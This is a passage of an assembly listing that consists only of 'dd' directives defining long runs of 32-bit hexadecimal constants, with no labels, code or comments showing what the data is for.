		dd 8B58E433h, 5030279Dh
		dd 0A0EA77D3h, 3894BDB4h, 0A80DB92h, 88D2142Ah,	2C006C37h
		dd 8B73E75Fh, 3AA3E120h, 6800CFB5h, 305D81Ah, 0E87E3F6Dh
		dd 0EF005590h, 0C3F2CE55h, 5290DA3h, 0E901BAC2h, 0BFBC4056h
		dd 0F2EA1965h, 730B72E4h, 5017B34Ch, 0D3CA00A8h, 7C6D9947h
		dd 680F59ADh, 0E0DBEBFh, 0AFD2C022h, 68109C9h, 0B4AAEA1Ah
		dd 8FEA4074h, 4D02EB07h, 0D440DC2Ch, 0E0DD0C2h,	0A3CBD6BDh
		dd 1063B1C7h, 0C75D712h, 0B943780Fh, 0BD5BE0A1h, 3014C080h
		dd 22A185CCh, 0AD00127Dh, 0DFA335C7h, 0F76402h,	0D7E13497h
		dd 1D721C03h, 9DEE7300h, 3F819638h, 0A2750FBAh,	0CFC0A5EDh
		dd 0EAA01677h, 4C38D4A0h, 970028F8h, 7AE62CE8h,	2E17D3h
		dd 0EFC1FF6Fh, 4882F5BBh, 19B92426h, 0B536073Eh, 0DE5029C8h
		dd 0FA0845D5h, 0CB5D1BC7h, 0EBB810DBh, 36007588h, 3824E816h
		dd 20D4B8h, 0B644E950h,	63AAC5FFh, 5AA9DB00h, 0BC807D5Eh
		dd 18D4007Eh, 1F520E04h, 693A67D5h, 816B9858h, 0E72508h
		dd 874ED7CBh, 3CBB70CCh, 900258DDh, 60A5BEABh, 0A40732h
		dd 0F3959465h, 0A604D8C6h, 3DD26900h, 39A01EB7h, 7967706Dh
		dd 0DE650186h, 9DB820D3h, 2950868Dh, 77B025E8h,	77B70F87h
		dd 4BA069B0h, 7460D855h, 49FFA700h, 0F8360B72h,	8A7FB6h
		dd 0ED93E8F3h, 586C6EBFh, 4B92F100h, 0AE658663h, 69BA003Dh
		dd 91D279D8h, 6C1847CCh, 137087EDh, 0CA7E008Ch,	4E4C31ABh
		dd 8360A0E3h, 0E4358AD8h, 0F2190063h, 0BB89BAEDh, 0CE0F2861h
		dd 381DA20h, 0FB7D7Eh, 5A906BC2h, 778FC974h, 381339h, 0E04F92DFh
		dd 47BACD0h, 0FDCBDEBDh, 6C61C251h, 67FFB080h, 0D4A08E63h
		dd 13009511h, 0B983CE4Fh, 0EF776AA3h, 7030FFF1h, 0C09B0094h
		dd 0E58DFB67h, 0D0903213h, 6D000E90h, 0DAE84375h, 7D79D5h
		dd 0A23930D7h, 4FBA5AE7h, 2CB86805h, 0B043F79Ah, 0ADA9C8B7h
		dd 0EBDF8801h, 0D3F088E8h, 0FE2C0310h, 326CEDBDh, 55F8F14Ah
		dd 361D4300h, 0D34F681Fh, 411288F8h, 4C0EC04Ch,	0F0946D4Dh
		dd 0CF815888h, 8F664F84h, 0A27B4442h, 2C209508h, 6E12FB10h
		dd 0F85AE414h, 0AC41187Ch, 88835977h, 829958A0h, 0DF147490h
		dd 82C61B3h, 11BEB164h,	8A42880Ah, 85848C0h, 0A794C20Ch
		dd 0E705C584h, 97DF9C05h, 8AEC2C42h, 0EEF6024Dh, 75AAF913h
		dd 4025FC01h, 59D85858h, 7B6352B0h, 0E7151359h,	0C0E796h
		dd 162BCC92h, 21089F4Fh, 0E87EC10Eh, 67BEE0F7h,	21D52DEh
		dd 0C53A09DAh, 94800EEDh, 0D6E7E17Ch, 68757430h, 6CC768Ah
		dd 0CA18FA8h, 1F02C8C3h, 0D22013F1h, 0AEBD40BAh, 6CD13B8Bh
		dd 4F462C0Fh, 9084C780h, 0A0C0DE73h, 5CACA311h,	334212BDh
		dd 0CC500E1Dh, 0EC804FE7h, 8809FD98h, 20B29534h, 379258ECh
		dd 2A07E5Bh, 4B98E664h,	0D444E0D9h, 0EC0AB12Ch,	81B08201h
		dd 60DE3F60h, 1FBF2C4Ch, 0C1A488A0h, 29BEC6BBh,	3BD05095h
		dd 0F42C9099h, 0E7005569h, 0B21416BBh, 0BE30249Ch, 47DC03B0h
		dd 358057CBh, 383191ECh, 34DF0872h, 62FBA840h, 0FAA372CCh
		dd 3C652669h, 64A8094Eh, 4C8DE810h, 747ADA00h, 9C1245Ch
		dd 2D98C4EAh, 0D2948873h, 8F144500h, 0A197D35Dh, 0B423503Fh
		dd 0EF3500DBh, 5B0AFCDCh, 2709A489h, 20F88CCBh,	0EB88E404h
		dd 0B83500CDh, 98799510h, 0D202FE12h, 5D4A3FF2h, 0B84480A2h
		dd 12BED0F4h, 30BA5608h, 0B57E3F20h, 0D4DCEE26h, 64E9904h
		dd 88805880h, 1C0AC35h,	9D3437C7h, 8E7C619h, 0AA6A886Fh
		dd 16D18E00h, 0A6BDA4FDh, 0D3E607CCh, 99AE68B5h, 93792C00h
		dd 3E3F65CDh, 989F00B4h, 7E1367B2h, 7A0B0054h, 0DEBECB7Fh
		dd 920063F8h, 0E0FA0EC5h, 264C0DF9h, 1B980Bh, 9E5E50EEh
		dd 4A07FCADh, 0BBD8FD7Ah, 701A8330h, 29FB00D7h,	0E99C353Bh
		dd 4107538Ch, 0A2361D5h, 0BE3F3DA1h, 0F226BE80h, 6DA03E4Ah
		dd 0FD1E2700h, 719AD29Fh, 0F2E1E8C4h, 5A190161h, 46732FFBh
		dd 62A9E43Eh, 832A7C3Eh, 9A905726h, 6FD8B8D0h, 0C8FC18h
		dd 0ADE9E021h, 0F978C95Ch, 156860E9h, 245ED51Eh, 0AAA3C000h
		dd 31F2BD55h, 60482EC7h, 45D3E046h, 0A32FC900h,	0DDE1717Ch
		dd 411A3C16h, 867F8280h, 0B0A95395h, 99046600h,	0E0979DF4h
		dd 48D11FDCh, 227E0018h, 0BADA37E8h, 0DE64D030h, 0A29E4h
		dd 61C6271Eh, 0E022FAEEh, 0B44F7000h, 88C5F52Fh, 68CB3F85h
		dd 0F0BCA88Fh, 445C0140h, 200059C4h, 0DD32396Bh, 869627h
		dd 7567158Dh, 9A455188h, 0F390A360h, 9D597Bh, 0DC086C49h
		dd 0D872AC5h, 589F4D75h, 486DBh, 9015970h, 0C098FD4Dh
		dd 739A3700h, 5FB0B6E4h, 3AB27777h, 0D1973468h,	0AE48002Ah
		dd 95605A6Fh, 0F10150FAh, 47535FB2h, 73703F74h,	0CC7E8Ch
		dd 0D6AC281Eh, 0EE4240F7h, 87314E00h, 8CDC4546h, 0EF7957h
		dd 40B51E6Dh, 8803765Eh, 0AFF539h, 9B2D4CFDh, 3899C7h
		dd 610FDBEBh, 45BE0B1Bh, 5D0D5100h, 0A9316D3Dh,	0D6F100D2h
		dd 1EDCDBDEh, 797D26E5h, 0A7014700h, 0C9DD0253h, 5C863A04h
		dd 417D4280h, 0C49EA43Fh, 0DD5FB52Ch, 380AB00h,	998E51Fh
		dd 0EF11B0D7h, 2B07DA5Eh, 0A00ED493h, 0AA77AD70h, 8BA8004Dh
		dd 9FCE3C25h, 860E150Dh, 0A04A264Ch, 0AD46FC32h, 9C4000BAh
		dd 0B5A3389Eh, 0EC12CFA8h, 0BE0E56C3h, 4345E3BEh, 0AD54E881h
		dd 0CC0F50B2h, 0A7F7009Bh, 848C3229h, 5F001130h, 50E4C2E9h
		dd 1F456E34h, 4042583Dh, 7D816CCAh, 70EC5160h, 252C7700h
		dd 440F968Fh, 46361E95h, 0AFFD878Bh, 373E7121h,	7933ECD3h
		dd 2FF8751Fh, 4617A300h, 7CDF37Bh, 0EA9A53DCh, 1B4B60B2h
		dd 0FD283754h, 0C200C3C5h, 0FEFA024Ch, 15CBA5h,	0FC051BC9h
		dd 65B59DD7h, 0AC6C5000h, 0E3638E26h, 0DDB000E4h, 1B9E6DFAh
		dd 28006417h, 0B131C268h, 0FC5E548h, 0D437948Fh, 9EF4039Ch
		dd 299082D3h, 0B8005380h, 0E866405Eh, 5F69DBh, 0B7B0720Fh
		dd 0DF7C759Ch, 0D094851Dh, 96866600h, 5C2E1Dh, 0E7EBBC7Bh
		dd 2354070Dh, 3894E300h, 5B0B379Eh, 0C60100AFh,	0A55389D1h
		dd 4700EBE1h, 37B61869h, 1EA7F4A8h, 0C04E123Bh,	23449F0Bh
		dd 70067BBh, 0D01895Ah,	325F36h, 29587370h, 0AAFEB348h
		dd 8828DD03h, 48A0238Dh, 0CB005110h, 6B72C707h,	2A0361CAh
		dd 3EB8246h, 85A0B82Ch,	5EA324D5h, 7F730052h, 5217989Ch
		dd 0E084200h, 1193F02Eh, 995F00FBh, 667D1CD2h, 0D503D788h
		dd 0D34401C6h, 0CC03C062h, 772A0E94h, 41419EC1h, 0C060F124h
		dd 0F21855DFh, 5790827Fh, 49100363h, 52A8840h, 0DD916097h
		dd 0D3E52D3h, 0EA65C4Eh, 0A0E5C42Eh, 0D56ABFECh, 0B0DE00C0h
		dd 622024CAh, 0E6009291h, 8618875Ch, 0FB950B3h,	0DE97B616h
		dd 0CF2081DDh, 0FC531172h, 0CC005645h, 8163F73Eh, 0EF1CDF8h
		dd 9D961B18h, 0DC9F3700h, 0F2694C1h, 93003827h,	8B0BF9F5h
		dd 86D70042h, 6C5E34DEh, 0E8009076h, 5B607B9Eh,	202DD6h
		dd 6FEC679Ah, 0E5407A77h, 0E3E68500h, 1D84260Fh, 0FCBA0039h
		dd 128998B6h, 23002706h, 78141AFEh, 1E7291E8h, 80C4FCF3h
		dd 0BB6BA68Eh, 2300F15Dh, 0DBE11CF5h, 798707ECh, 1F021359h
		dd 1B8800C2h, 0C043245h, 0F336181Eh, 0F4294600h, 0CE9BDEAh
		dd 0D0EB908Eh, 673E3588h, 668183F8h, 0E0ED9C99h, 3AF0AFh
		dd 5322178Ah, 0C544D398h, 0F132CA05h, 80034F61h, 80108CE1h
		dd 0BEB66Ch, 0C812F563h, 4D96F979h, 815EE601h, 0A7AF3268h
		dd 3A277BE8h
		dd 0A50073BAh, 6A4F5BDBh, 0C41F6CE4h, 51803AC2h, 3C5FE1C7h
		dd 0DC431DDEh, 6B8500DFh, 17242C9Ah, 46DD7B01h,	0C154C3F0h
		dd 0A345D0h, 0F5EC0777h, 0ED3CF96Dh, 1FEA0100h,	61063AE8h
		dd 829A00FFh, 43049FE0h, 280E904Dh, 0E1E24FDDh,	6E5DAAF3h
		dd 0B8BF21CCh, 0CBBB057Eh, 80EB7D2Fh, 0ED4E0F38h, 6A316100h
		dd 0C65578CAh, 0F9BEE9Ah, 2A7684AAh, 0ABD4F061h, 0E0E1CD30h
		dd 4F00D3B4h, 16E57CA4h, 7BFE7445h, 0FFE00070h,	7936B644h
		dd 4D060EBFh, 0AA2D7C9h, 8958A804h, 3267DFBh, 27B451C2h
		dd 69D04FBEh, 9758F4E4h, 0E82A0761h, 9190D20Ch,	16A21493h
		dd 92F8D6h, 0FBDF4D73h,	4394628h, 0D85C8050h, 0E4660EB5h
		dd 0D2433816h, 18289F02h, 0C860D002h, 0F92CCBD3h, 1D004044h
		dd 8AB8E07Bh, 331E004Fh, 0D1C504BCh, 9100B1DBh,	738E703Dh
		dd 0F0EF58Bh, 42EB7F53h, 0A1405883h, 250D69D8h,	2DACD900h
		dd 4880398Ch, 95D7078Eh, 3088FC3Bh, 96597D13h, 0A603B470h
		dd 0BCDA9F64h, 17AB9008h, 0CCCA0028h, 0BF0CD64Dh, 0A95C441Dh
		dd 0B2270C57h, 14638A0h, 9E5090FAh, 0C0822208h,	1C3C6458h
		dd 0C2C79C2Fh, 0B6391A00h, 128AE90Fh, 9FB446h, 8F593280h
		dd 7B01F019h, 0BEC755ABh, 68CC7823h, 43AF0173h,	0AB3FA47h
		dd 0A052E41Fh, 0DCB7CB04h, 0F5C05F13h, 2E38BC89h, 3E268C04h
		dd 4602B580h, 0E46E8A9Dh, 4D4F1B00h, 589A9912h,	164924B9h
		dd 5FED00A5h, 0FDF734DAh, 0FF272503h, 0F9578B0Ch, 6D60CE82h
		dd 0E9EA00A3h, 399C2083h, 86144A13h, 0F2AEF0h, 65742880h
		dd 457596h, 0DF33CD36h,	7C4292D0h, 0E9DD1100h, 2FADE412h
		dd 36C2039Fh, 0F45F88FAh, 60A41899h, 0D800761Bh, 0F59E6045h
		dd 0AA8F47h, 0FAFCC269h, 427090E2h, 0D1486C17h,	0F6C59443h
		dd 0E09FB258h, 7C18CD60h, 0BCB35842h, 50E04F09h, 5E539183h
		dd 96D3CAE0h, 92F7D730h, 3C462758h, 74805060h, 0D17F5F18h
		dd 0EC006622h, 37C5DE9Fh, 156D0867h, 8DDE753h, 0C3BE9408h
		dd 3D7A9F00h, 2F1416h, 0A5AF267Bh, 0D70ABB93h, 0F025CE00h
		dd 1954C40Eh, 3BAD2601h, 999D0359h, 51E60C67h, 90034E0h
		dd 11C0CF4Ch, 0B81F8Ch,	575FE471h, 49C84E8Dh, 357A940Ch
		dd 2403Ah, 976DC416h, 6296731Fh, 0EF6E101h, 5D65BEE9h
		dd 0CEFB60h, 0EE936F55h, 0B9E5453Dh, 4E687E00h,	9724DA56h
		dd 742E00D5h, 6414EF90h, 9238F069h, 7577F97Eh, 7787D704h
		dd 0E68031DCh, 5885D64h, 2C609954h, 70FE8017h, 241C61D9h
		dd 0FFC02F92h, 2A4939EEh, 0FA1C001Fh, 625A9403h, 650087A7h
		dd 2820930Ah, 39D6D57Ah, 0F086E001h, 0B8B9866Fh, 6CFACB02h
		dd 60A4A0F3h, 0C160325h, 0A3C0E2E4h, 5428382Ch,	950CC042h
		dd 0F0079047h, 9A673D8Eh, 0DEF96800h, 439FD088h, 0AE331600h
		dd 0BBA8B38h, 8F1A008Ch, 5129F4C5h, 9F1EBFDFh, 3700CAF5h
		dd 9472FBF3h, 7C01288Ch, 3EC4EAA4h, 23AAF844h, 4E00FDCh
		dd 0C2401ED7h, 8D0355D0h, 6B258C00h, 0EF1A7340h, 0F0D701F7h
		dd 71D9D19Ch, 17A1C8C6h, 0E6AF200h, 0CE3CF89h, 737B0695h
		dd 58205864h, 40A1C518h, 9770D0h, 794F43D7h, 0F18DC36Eh
		dd 45300E00h, 32827299h, 9FFE66h, 63EB8A7h, 9AF317Eh, 0E32B3Ch
		dd 42D61859h, 0F41F3DF5h, 8BD40085h, 65970AADh,	5B002595h
		dd 0B74E8241h, 17E7AA5Fh, 0E2BD2Fh, 0F995B182h,	3E8C437h
		dd 0DD208760h, 76BCB58Ah, 0AF7007Fh, 580E5E22h,	1B00C904h
		dd 15D98C5h, 48528126h,	8800107Ah, 2B186EFCh, 980067CCh
		dd 47A0222Ch, 0EA4D6CEFh, 6DF10028h, 602677D1h,	5E006898h
		dd 5DC247AAh, 60491199h, 0DB781021h, 0E004C2Ah,	0F7E4F5AFh
		dd 0F9E30891h, 23992180h, 6EED84F1h, 18FAB300h,	97986B27h
		dd 0BFF71F81h, 0EB0CC02Ah, 6647F0Eh, 36C17426h,	94668800h
		dd 54A2F68h, 8580D426h,	1C883092h, 610A3E0h, 0DC6863Fh
		dd 4016A858h, 1D00B415h, 0F90A5172h, 0CF9A0008h, 0F75C056Dh
		dd 0F500B5C6h, 1DEB98B2h, 3EC2604Fh, 4D005A48h,	459B093Bh
		dd 8D01E026h, 0B198DBF8h, 0C9D4E4F7h, 605D03E2h, 63C3029Dh
		dd 4BDEECF8h, 5FD36B16h, 96776600h, 6F0599h, 0C7AC747Ah
		dd 0C11F9BE3h, 0D0283D07h, 0EDE09DA4h, 1FE245EEh, 80479AD4h
		dd 0C780464Ch, 0DB3886D2h, 0F4A82E41h, 762DB300h, 31E1Ch
		dd 66B261F2h, 33124BEFh, 23EB3400h, 318BCE56h, 0A8B60315h
		dd 0F71935E4h, 484925E0h, 6CDEE200h, 76066B64h,	8490C4h
		dd 615DEE8Fh, 0AB6527BBh, 0A5494400h, 0C697573Ah, 0AEB403C9h
		dd 1EFFFAC5h, 0B01D787Ch, 0F6C0E389h, 0BC9454D5h, 0C89F00C4h
		dd 51C0D2D9h, 0BD02C9BEh, 814CF3EAh, 9236099h, 0CF3100B2h
		dd 486F8DD3h, 412EDEADh, 640F827Eh, 22580CCh, 0C69150h
		dd 373C43B9h, 7A31B854h, 0B69BD00h, 760DD418h, 4D9D01E4h
		dd 0C4E58F05h, 2C08004h, 0E67B4DAh, 0FF130DF5h,	0D0F023D8h
		dd 6E00C662h, 1C65147Ah, 7C5554h, 69D677E7h, 0F4FCA175h
		dd 203DE9FDh, 6D02C1E7h, 471972Dh, 3793605Fh, 0FD1E00BCh
		dd 8A208288h, 0B400B6ADh, 770F85CFh, 0C0224D4h,	15F2EF2Ah
		dd 0E3076040h, 5A85051Ah, 5448F390h, 776F8C4h, 572B6817h
		dd 75016064h, 0EC023FD6h, 0A0A46577h, 0A1594020h, 0E17586h
		dd 901D5BEEh, 6367F8AEh, 4D17500h, 0DCBB1E5Ch, 6B36031Ah
		dd 57D420BCh, 0D000B9AEh, 0B247BFB9h, 262ACC0h,	0FD26BE32h
		dd 6CC02A03h, 0BF019C59h, 2CC45A19h, 4FC45B56h,	0DAA40196h
		dd 0E2EE6ED6h, 8A65F8E7h, 0F25D5C00h, 0F05A6FB7h, 915E2E64h
		dd 596830D4h, 523F76DCh, 225580AEh, 1A2E6727h, 8ABF0B15h
		dd 920324A4h, 0D1A0ECBBh, 25008105h, 2908BD8Ch,	2D2092h
		dd 0A3C39801h, 0EFCC5897h, 7017DD00h, 23A2B721h, 844E58DBh
		dd 0A48E650Eh, 2F86250Fh, 187251EBh, 1495550Ch,	7E10F6h
		dd 0DDED36D3h, 8D13B727h, 4FDEAF07h, 74872090h,	6B262FC0h
		dd 1875E602h, 7693B8CEh, 6777C907h, 0D61880E1h,	0E4621DDFh
		dd 0DAA7043Ch, 721315Ch, 2E70B22Bh, 0A011D1h, 32082019h
		dd 67214A36h, 804CB03Bh, 0F96A8B43h, 18E80754h,	40CDA47Fh
		dd 3D48BD98h, 802E39CAh, 2F463BEBh, 1E48133Eh, 802BFAA5h
		dd 628AB5A3h, 690F72D3h, 9D226D35h, 8E1DF000h, 3FECE20Bh
		dd 2D00EA04h, 3267566Bh, 0E1001A71h, 26590C19h,	18EDD64Fh
		dd 96CECBDFh, 0C900FBC7h, 3E19228Ch, 0F507195h,	18E9FAB9h
		dd 6AE84105h, 51500004h, 0AF22EEEAh, 666C001Eh,	0CFF1E66Fh
		dd 8400CB52h, 4B2BDE60h, 9B8C4h, 0AF41B604h, 0A503E58Ah
		dd 31CB4C00h, 166EF770h, 0D220040h, 186ABF51h, 1A00103Ch
		dd 0B7E67C2Eh, 58EB5Ch,	0A72B754Ch, 0D61C06A9h,	0B5A88200h
		dd 367AF579h, 0E9EE01D5h, 0A26488E2h, 335FC62h,	8752B400h
		dd 0C8E52E32h, 818007A7h, 1B5F3416h, 0C4B9380h,	2F01DA0Dh
		dd 0FB557AB5h, 0E06007CEh, 9FE00009h, 0A2FF5ECAh, 0B001AF4h
		dd 0AA78BF76h, 0EFE07B5h, 8B952E97h, 0FC0C403Dh, 0F931F546h
		dd 0CA29820Eh, 0A6D820C1h, 79AC5A1Eh, 0AE0C005Fh, 0DC6FF716h
		dd 0D100D2A2h, 0CD315883h, 3589E4h, 63DF8294h, 0E171C206h
		dd 1DA1C93Bh, 0BDC0EADEh, 187A78B3h, 1B30000Dh,	0BF363BD4h
		dd 2B00E750h, 910166EAh, 5428E0h, 0B1F3413Fh, 0EC72F898h
		dd 8511F401h, 48DFCDB3h, 38BB15E4h, 4080870Bh, 5AD2E3DAh
		dd 0F571F137h
		dd 99DD0F00h, 821CFE32h, 0A4F4A044h, 0CCCA0FF3h, 93207BB4h
		dd 31A7F23Eh, 5B979F00h, 517024BDh, 9EE218h, 0A6A5E723h
		dd 82EF526Ch, 241A9D18h, 70146538h, 73D600C9h, 3E78C4F4h
		dd 5800990Dh, 0FE0AE2A7h, 3AC2D7h, 0C7B8CB61h, 765E5FB0h
		dd 0B575531Eh, 6E00E417h, 95E0F380h, 4BC9002Fh,	0DF841569h
		dd 6312658Ah, 0A4002811h, 0FD09FE97h, 7C7300FFh, 80C461C2h
		dd 6EEA9D17h, 2C716000h, 0D05EAF5Bh, 0EDA700A5h, 0DC9E8653h
		dd 6101DBECh, 0A30FF638h, 10FD0656h, 9A7970h, 8776CA7Ah
		dd 1D1261B3h, 954B450Eh, 3BF4A02Bh, 39172BCh, 0CCE3A19Fh
		dd 0DB90E2D6h, 0C81CFC1Bh, 1C0239F1h, 40073726h, 0AEFAC0h
		dd 0B20CA7C9h, 15CE986Fh, 63BDB800h, 0D7467654h, 0DE860357h
		dd 4EE81A25h, 0DCAC5389h, 3101C5CFh, 14DB164Bh,	0DC70BD6Bh
		dd 0D2370043h, 8C81F65Eh, 4E00D5FCh, 66F2E4C2h,	0E48DBB0Ah
		dd 0C788072Dh, 401D95A5h, 0C91BEF02h, 639E4C00h, 376619DCh
		dd 233A0340h, 2D11FD44h, 0C6519090h, 2B03287Bh,	0ACF72631h
		dd 53FF98DAh, 43F254h, 6D4E7189h, 3B0DC5Eh, 70C2EC00h
		dd 9CFE3063h, 0ED340017h, 0FF782418h, 75EC811Ah, 0B14CBB00h
		dd 71431C7Ah, 0F13600C2h, 0DB41FD0Dh, 5200F483h, 0D06B512Fh
		dd 7E1D797h, 0EF500899h, 880E2027h, 2F886C3h, 76FBD11Fh
		dd 0D9DAE5C0h, 17FA6616h, 511D98h, 490FD5B5h, 2A008F4Fh
		dd 0DDF7BB8Eh, 2FBA21h,	0D75829D0h, 0FE31E99Ah,	45B18812h
		dd 5746741Fh, 0A8981EA7h, 8D3D74h, 2A28652Fh, 72EB011Ch
		dd 9008A101h, 0E1B2871Bh, 0C4DC0F21h, 82AB000Eh, 518D1C48h
		dd 36E8DE11h, 0B2748100h, 92085AE6h, 4857003Dh,	0FC6AF721h
		dd 4D00B4FFh, 30C690A2h, 3238DBh, 298CB6E5h, 63C8308h
		dd 0B08FAE12h, 76CF8E0Ch, 0C67500BAh, 0B2CEDBC2h, 400516Bh
		dd 5884629Ah, 783A2459h, 15AB0089h, 87887B5Ah, 83485C9Fh
		dd 0BD1302E4h, 61AEC35Eh, 0B9E0EF51h, 0F2AB05CFh, 0C0E3C9DAh
		dd 6E1C9FA7h, 9357F118h, 2374B4h, 6701C03Dh, 1D6B9E43h
		dd 38D5C300h, 3234A15Bh, 9DAA124Fh, 92900007h, 7C0D019Bh
		dd 0FA9F9800h, 0D3F5437Dh, 18A715BEh, 5000B4AFh, 193009B3h
		dd 60006679h, 7C016F40h, 5972764h, 0E2543A2Fh, 90C0C008h
		dd 0B5072158h, 1EE0B16Ch, 0E3F9ADA0h, 830B03C1h, 0AEE581C3h
		dd 9CF89688h, 460044ECh, 0D256CCB3h, 0EFC07122h, 72352E0h
		dd 4A8F199Dh, 85F290B5h, 74055C13h, 0D91E6893h,	805E4380h
		dd 0C5CA071Fh, 0F0AAAB2Fh, 0BF4A326Ah, 0D77E8600h, 45ADE33Eh
		dd 13CF00A1h, 2694B7DAh, 0BFA3AF6h, 5559A803h, 0DBBA7C15h
		dd 0A27600E5h, 0A55FDC18h, 0F0029A3Fh, 0F77D897Eh, 1B3A40F1h
		dd 969D00AEh, 0EE91A17Ah, 83004716h, 305ADE23h,	0D4E26Eh
		dd 0EADF385h, 6B38E29h,	0FD8F400h, 9C88315Eh, 0D9EC0058h
		dd 0E4ACFD63h, 72007BEAh, 83C9C60Bh, 40314h, 34C8A462h
		dd 0FF9C84B3h, 0ED87A900h, 0F2E9E810h, 99AE1F2Ch, 9458C760h
		dd 3DCDA0B0h, 0A11F1C17h, 7300FF4Eh, 85F8499Eh,	4C8C3ADFh
		dd 0E0829700h, 3342DE63h, 307ABC00h, 0E52D9DCEh, 0F307038Fh
		dd 56063631h, 0BF7F6B80h, 0D3765B16h, 0AFEE1500h, 0EF328Eh
		dd 3C46CF03h, 0B9D1E5E4h, 45225100h, 0CA7ED6BFh, 1DC2008Bh
		dd 0A44CC310h, 9B00F9F7h, 0D414B319h, 7E6160h, 0EFF3A3B6h
		dd 2F05039Fh, 0C79DD600h, 0FE1131B7h, 0E5D10085h, 0A2E1F646h
		dd 88005B39h, 6C242E83h, 1D09BEh, 0D001D120h, 0F3707C7h
		dd 0D601E8FAh, 6308F7ECh, 98601375h, 0EEA6009Ch, 39C2FE3Fh
		dd 9500A10Bh, 0E0274228h, 2FAE65h, 0BF7E9297h, 0F070E649h
		dd 61BC2154h, 83C69B00h, 4066DA48h, 328500B4h, 19338AE2h
		dd 772E9802h, 1700A41Eh, 94EB89D1h, 22D80069h, 0BB53D90Eh
		dd 0CF173633h, 0B400BE3Dh, 42BD20B6h, 44F501E0h, 48F4F0EDh
		dd 0A39AD859h, 0E80022F0h, 8EC3EBFh, 3A55A1A2h,	0D9802507h
		dd 1528A74Dh, 181CE06Dh, 26044722h, 308011DEh, 7C9B5EC2h
		dd 8CDD05E6h, 2EEA9Dh, 6907D2DBh, 0D500DC6Eh, 0E13B493Ch
		dd 71DAA030h, 0CC310C2Dh, 0F5C01F90h, 0F73DBE00h, 822718E9h
		dd 8D4400F4h, 360671BDh, 88001550h, 396E11BAh, 273477h
		dd 0B8CF673Eh, 0F6724A81h, 13B7CD0Eh, 0F4E0209Bh, 0E89756h
		dd 3739D928h, 7898FDB3h, 0F5C48003h, 0D89E14B7h, 185AB077h
		dd 0D09CFB24h, 727F87BAh, 9D66E700h, 1A3A351Fh,	0A5F90793h
		dd 0C7EED43Ch, 8FD3B070h, 0E228479Bh, 5900ACE5h, 0DF032467h
		dd 3D530Fh, 0DBA336DCh,	0E63008BFh, 75334000h, 0BE3B923Eh
		dd 31933D4Ch, 20E3CD94h, 19020DB1h, 72DA44CCh, 7788F409h
		dd 29BD00D6h, 143BCBD7h, 8690051Dh, 0A6002D90h,	60C54DEBh
		dd 585553h, 0BFD50A87h,	743FA057h, 8BEECA1Dh, 72A43240h
		dd 0F9E9881h, 0B0D97829h, 2593BBA0h, 64900C42h,	87B4030h
		dd 388FCD18h, 3E003243h, 5B54114Dh, 0B037FD1h, 7A6DFF3Ah
		dd 0ABC800E7h, 0CD385985h, 0AF307168h, 8F1F60B9h, 0EE4ABAh
		dd 23F23FF8h, 0D50C093Ch, 0C930670Bh, 1D3FA87h,	0BE6B44D8h
		dd 80D68EF3h, 8A7AD9B8h, 3CEDDB72h, 0A9155E55h,	0DAC08040h
		dd 0BFFAFB03h, 76878E46h, 68944085h, 0DA007B10h, 55A5C8F6h
		dd 28B19311h, 1F002A2h,	0EDB80549h, 60AD8B2Fh, 9104E434h
		dd 58D937CFh, 58CC14BFh, 0BF147002h, 0F7E3F2FDh, 3981F7B0h
		dd 224343Ah, 72B63A44h,	0AAC2AFh, 0D99CF280h, 204EE3D3h
		dd 223BAA08h, 609BFE63h, 0B1909818h, 0F251928Eh, 3F0DE8D0h
		dd 77E84101h, 0A38AFE3Ch, 1DACCD0h, 0EF53467Dh,	4006C610h
		dd 7E4ED9DCh, 0B251EB00h, 5C991B6Ch, 8F0516C7h,	3E5807A3h
		dd 0E4F4A3FDh, 6730F590h, 0D30025E0h, 0D781A998h, 9FBA40h
		dd 0E741C0FEh, 90A96D8h, 80FC173Fh, 0EF6A18BFh,	63C0DE2h
		dd 827BC8B6h, 0FC0116D0h, 0D6F3DA92h, 41306FDFh, 0E28D00FBh
		dd 0A82188B3h, 46005103h, 753E4B6Eh, 7870Ch, 23B549F0h
		dd 57DD08D7h, 0D2361C1Ch, 0E0BD72C0h, 98D878h, 3A34EEDCh
		dd 40A041E2h, 803B0700h, 0CF943FBCh, 526A008Dh,	0DA74BB3h
		dd 33D4FE1h, 1115B098h,	1426A5Dh, 3399D0F1h, 8290EED6h
		dd 5E6D38C9h, 0C678484Bh, 1AC01CF5h, 7422808Ch,	0CB20A092h
		dd 0B94CBBF2h, 6DFB00F8h, 2436BDD2h, 27C60067h,	51DE5D96h
		dd 0BFE40516h, 1B0EC7B0h, 2082B109h, 14780735h,	799A3A41h
		dd 0FA5B007Ch, 0EE8AC447h, 0DF00BC3Bh, 65B06C6Eh, 0D1331Ch
		dd 92919F5h, 6A67780Ah,	977FF81Eh, 61A680BCh, 1B74D291h
		dd 7B6430DEh, 28390A68h, 0B24DEDA0h, 716D45B8h,	41F7819h
		dd 0EF50CB0h, 57425C07h, 3DD02DDEh, 6EA1A96h, 0C06E7BF1h
		dd 0E1003173h, 916C8A9h, 7BE361F5h, 4E79021Dh, 159E3A9Dh
		dd 295234B6h, 3DDEE04Ch, 6A50C09Dh, 0D95C1EB5h,	0FE46F416h
		dd 96B6DA00h, 1B1C0C35h, 19FB3466h, 367AEBC8h, 84323880h
		dd 18B7F128h, 8029821h,	2F42E1F9h, 521D1149h, 4BA930h
		dd 88E11821h, 0E5448D7Fh, 243CA130h, 42E93440h,	8E7814B0h
		dd 0A2553A18h, 84BC7A9Eh, 78300D19h, 24517391h,	0E4F332D1h
		dd 18A96E78h, 0FF7D0C85h, 0A2090C42h, 10DA4C30h, 54A0B12Dh
		dd 21848C41h, 0CC0AE899h, 0BD42904Ah, 370C83D5h, 8148D424h
		dd 581EBE80h, 814F23D9h, 1891B0C4h, 892154BCh, 50918008h
		dd 0C60C1A09h, 906E7BA4h
		dd 2D270000h, 8F92229Ah, 0FE008EB6h, 0A8AE8374h, 7EBBF6D1h
		dd 0E85C001Ch, 92EB0A70h, 0E509F96Fh, 30F5DF87h, 0C30F24E0h
		dd 0B307E7E8h, 98E5893Dh, 0E1E88B3Ah, 0B9720076h, 0E97D77EAh
		dd 0AE0563A7h, 539426ECh, 60A5B040h, 3018C6A9h,	8DA0E602h
		dd 89C0EF11h, 69AC616Bh, 6DB60071h, 7A3C3EFDh, 14F8F4ECh
		dd 5677C3Bh, 79A4654Fh,	92F1C78h, 4CCCF79h, 9037BA84h
		dd 3897FC68h, 910068F8h, 6DAE8230h, 189A2C4h, 5FF5335Bh
